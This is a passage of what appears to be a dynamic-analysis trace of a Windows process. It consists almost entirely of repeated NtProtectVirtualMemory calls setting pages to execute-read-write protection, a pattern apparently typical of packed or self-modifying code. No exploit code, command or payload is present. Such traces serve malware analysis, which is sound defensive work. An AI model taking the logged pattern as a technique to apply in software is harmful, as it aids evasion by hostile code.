OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.762] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.801] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.851] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.880] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.901] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.918] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.939] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0264.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.043] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.081] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.093] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.121] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.141] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.245] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.317] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.377] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.388] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.427] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.439] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.463] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.515] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.525] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.546] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.568] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.589] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.607] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.666] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.676] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.754] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.764] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.775] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.802] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.823] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.851] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.900] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.910] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.938] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.948] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.959] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0265.969] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, 